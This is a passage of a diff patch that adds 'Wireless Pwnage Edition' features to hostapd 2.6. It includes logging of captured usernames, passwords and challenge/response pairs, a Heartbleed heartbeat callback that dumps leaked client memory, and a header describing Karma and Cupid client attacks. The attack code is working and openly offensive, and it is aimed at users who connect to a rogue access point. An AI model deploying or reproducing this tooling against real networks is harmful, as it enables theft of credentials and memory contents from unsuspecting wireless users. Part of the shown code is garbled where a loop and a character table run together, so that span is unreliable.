wpe_log_file_and_stdout(char const *fmt, ...) { + + if ( wpe_conf.wpe_logfile_fp == NULL ) { + wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a"); + if ( wpe_conf.wpe_logfile_fp == NULL ) + printf("WPE: Cannot file log file"); + } + + va_list ap; + + va_start(ap, fmt); + vprintf(fmt, ap); + va_end(ap); + + va_start(ap, fmt); + if ( wpe_conf.wpe_logfile_fp != NULL ) + vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap); + va_end(ap); +} + +void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) { + time_t nowtime; + int x; + + nowtime = time(NULL); + + wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime)); + wpe_log_file_and_stdout("\t username:\t"); + for (x=0; x?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; + + const unsigned short *sp; + const unsigned char *ap; + unsigned int i, j; + int nshorts, nshorts2; + int padding; + + wpe_log_file_and_stdout("\n\t"); + padding = 0; + sp = (unsigned short *)bp; + ap = (unsigned char *)bp; + nshorts = (unsigned int)length / sizeof(unsigned short); + nshorts2 = (unsigned int)length / sizeof(unsigned short); + i = 0; + j = 0; + while (1) { + while (--nshorts >= 0) { + wpe_log_file_and_stdout(" %04x", ntohs(*sp)); + sp++; + if ((++i % 8) == 0) + break; + } + if (nshorts < 0) { + if ((length & 1) && (((i - 1) % 8) != 0)) { + wpe_log_file_and_stdout(" %02x ", *(unsigned char *)sp); + padding++; + } + nshorts = (8 - (nshorts2 - nshorts)); + while (--nshorts >= 0) { + wpe_log_file_and_stdout(" "); + } + if (!padding) + wpe_log_file_and_stdout(" "); + } + wpe_log_file_and_stdout(" "); + + while (--nshorts2 >= 0) { + wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]); + ap += 2; + if ((++j % 8) == 0) { + wpe_log_file_and_stdout("\n\t"); + break; + } + } + if (nshorts2 < 0) { + if ((length & 1) && (((j - 1) % 8) != 0)) { + wpe_log_file_and_stdout("%c", asciify[*ap]); + } + break; + } + } + if ((length & 1) && (((i - 1) % 8) == 0)) { + wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp); + wpe_log_file_and_stdout(" %c", + asciify[*ap]); + } + wpe_log_file_and_stdout("\n"); +} + +void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) { +#ifdef TLS1_RT_HEARTBEAT + if (v_content_type == TLS1_RT_HEARTBEAT) { +#elif defined(DTLS1_RT_HEARTBEAT) + if (v_content_type == DTLS1_RT_HEARTBEAT) { +#endif + wpe_log_file_and_stdout("\n\nHeartbleed Data:\n"); + v_ssl->tlsext_hb_pending = 1; + wpe_hexdump((unsigned char *)v_buf, v_len); + } +} + + +char *wpe_hb_clear() { + char *p; + // set payload size + p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3]; + s2n(wpe_conf.wpe_hb_payload_size, p); + + return wpe_hb_msg; +} + diff -rupN hostapd-2.6/src/wpe/wpe.h hostapd-2.6-wpe/src/wpe/wpe.h --- hostapd-2.6/src/wpe/wpe.h 1969-12-31 19:00:00.000000000 -0500 +++ hostapd-2.6-wpe/src/wpe/wpe.h 2016-12-17 06:12:53.963984072 -0500 @@ -0,0 +1,50 @@ +/* + wpe.h - + brad.antoniewicz@foundstone.com + Implements WPE (Wireless Pwnage Edition) functionality within + hostapd. + + WPE functionality focuses on targeting connecting users. At + it's core it implements credential logging (originally + implemented in FreeRADIUS-WPE), but also includes other patches + for other client attacks. + + FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe + Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff + Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd +*/ +#include + +struct wpe_config { + char *wpe_logfile; + FILE *wpe_logfile_fp; + unsigned int wpe_enable_karma; + unsigned int wpe_enable_cupid; + unsigned int wpe_enable_return_success; + unsigned int wpe_hb_send_before_handshake:1; + unsigned int wpe_hb_send_before_appdata:1; + unsigned int wpe_hb_send_after_appdata:1; + unsigned int wpe_hb_payload_size; + unsigned int wpe_hb_num_tries; + unsigned int wpe_hb_num_repeats; +}; + +extern struct wpe_config wpe_conf; + +extern char wpe_hb_msg[]; +extern size_t wpe_hb_msg_len; + +//#define WPE_HB_MSG_LEN 8 + +#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ + (((unsigned int)(c[1])) )),c+=2) + +#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ + c[1]=(unsigned char)(((s) )&0xff)),c+=2) + + +void wpe_log_file_and_stdout(char const *fmt, ...); +void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len); +void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len); +void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg); +char *wpe_hb_clear();